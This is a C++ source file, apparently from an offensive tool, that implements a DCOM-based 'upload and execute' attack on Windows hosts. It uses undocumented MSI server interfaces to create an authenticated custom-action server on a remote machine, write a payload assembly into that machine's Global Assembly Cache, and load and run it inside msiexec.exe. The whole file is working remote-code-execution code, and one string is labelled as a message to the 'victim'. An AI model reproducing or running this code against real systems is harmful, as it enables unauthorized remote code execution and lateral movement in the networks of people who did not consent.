#include "Includes.h" #include "PayloadConfig.h" GUID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; GUID IID_IMsiSever = CLSID_MsiServer; GUID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; // IDB // parsed from array at rgCLSID GUID CLSID_MSIRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; // IDB HRESULT MsiUploadExec(IUnknown* pIMsiServerAuthen, COAUTHINFO* pAuthInfo) { HMODULE hmsi = LoadLibraryA("msi.dll"); IMsiRemoteAPI* pRemApi = reinterpret_cast(ComUtils::CreateObjectFromDllFactory(hmsi, CLSID_MSIRemoteApi)); const unsigned long fakeRemoteClientPid = 4; // seems like any active pid would do lol unsigned long outServerPid = 0; const int cookieSize = 16; int iRemoteAPICookieSize = cookieSize; char rgchCookie[cookieSize]; IMsiCustomAction* pMsiAction = nullptr; WCHAR* pvEnvironment = GetEnvironmentStringsW(); DWORD cEnv = GetEnvironmentSizeW(pvEnvironment); // IMsiConfigurationManager is the server side implementation of IMsiServer HRESULT msiresult = reinterpret_cast(pIMsiServerAuthen)->CreateCustomActionServer(icac64Impersonated, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction, &outServerPid, false); if (!pMsiAction) { std::wcout << L"[-] ERROR: 0x" << std::hex << msiresult << L" Calling CreateCustomActionServer. Make sure you are on the same domain/forest with target." << std::endl; pIMsiServerAuthen->Release(); return 0; } IMsiCustomAction* authedAction = nullptr; HRESULT hr = ComUtils::SetupAuthOnParentIUnknownCastToIID(pMsiAction, pAuthInfo, (IUnknown**)&authedAction, IID_IMsiCustomAction); if(!authedAction) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Setting authentication on created IMsiCustomAction" << std::endl; pIMsiServerAuthen->Release(); return -1; } std::wcout << L"[+] Created an authenticated IMsiCustomAction hosted on MSIEXEC.exe - PID " << outServerPid << std::endl; char* outc = nullptr; int outi = 0; // can be any GUIDs LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}"; LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}"; LPCWSTR asmName = ASSEMBLY_NAME; LPCWSTR asmblyPath = PAYLOAD_ASSEMBLY_PATH; LPCWSTR asmBitness = ASSEMBLY_BITNESS; LPCWSTR asmVersion = ASSEMBLY_VERSION; LPCWSTR publicKeyToken = ASSEMBLY_PUBLIC_KEY; hr = authedAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName); if(FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTAddAssemblyInstallComponent" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } hr = authedAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0, &outi, &outc); if (FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTGetAssemblyCacheItem" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } hr = authedAction->URTCreateAssemblyFileStream(asmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST); // can only send STREAM_FORMAT_COMPLIB_MODULE or STREAM_FORMAT_COMPLIB_MANIFEST. if (FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCreateAssemblyFileStream" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } std::wcout << L"[+] Created a remote GAC file stream" << std::endl; HANDLE hAsm = CreateFileW(asmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(!hAsm or hAsm == INVALID_HANDLE_VALUE) { std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Opening " << asmblyPath << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } DWORD asmSize, sizeRead; asmSize = GetFileSize(hAsm, NULL); if(asmSize == INVALID_FILE_SIZE) { std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Running GetFileSize on " << asmblyPath << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } std::unique_ptr content = std::make_unique(asmSize); if(!ReadFile(hAsm, content.get(), asmSize, &sizeRead, NULL)) { std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Reading " << asmblyPath << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } std::wcout << L"[+] Locally processed " << asmblyPath << std::endl; ulong written = 0; hr = authedAction->URTWriteAssemblyBits(content.get(), asmSize, &written); if (FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTWriteAssemblyBits" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } hr = authedAction->URTCommitAssemblyStream(); if (FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCommitAssemblyStream" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } int outIntCommit = 0; char* outCharCommit = nullptr; hr = authedAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit); if (FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCommitAssemblies" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", asmBitness, asmName, asmVersion, publicKeyToken); std::wcout << L"[+] Uploaded " << asmblyPath << L" to the remote GAC path: " << payload_gac_path << std::endl; hr = authedAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0); if (FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->LoadEmbeddedDLL" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } std::wcout << L"[+] Loaded " << payload_gac_path << L" to the remote MSIEXEC.exe - PID " << outServerPid << std::endl; ulong pIntPtr, pRetCode; std::string messageToVictim = "Hello from DCOM Upload & Execute"; hr = authedAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &pIntPtr, &pRetCode); if (FAILED(hr)) { std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" authedAction->CallInitDLL" << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return -1; } std::wcout << L"[+] Executed " << payload_gac_path << L"'s InitializeEmbeddedUI export" << std::endl; std::wcout << L"[+] InitializeEmbeddedUI returned: " << pRetCode << std::endl; authedAction->Release(); pIMsiServerAuthen->Release(); return 1; }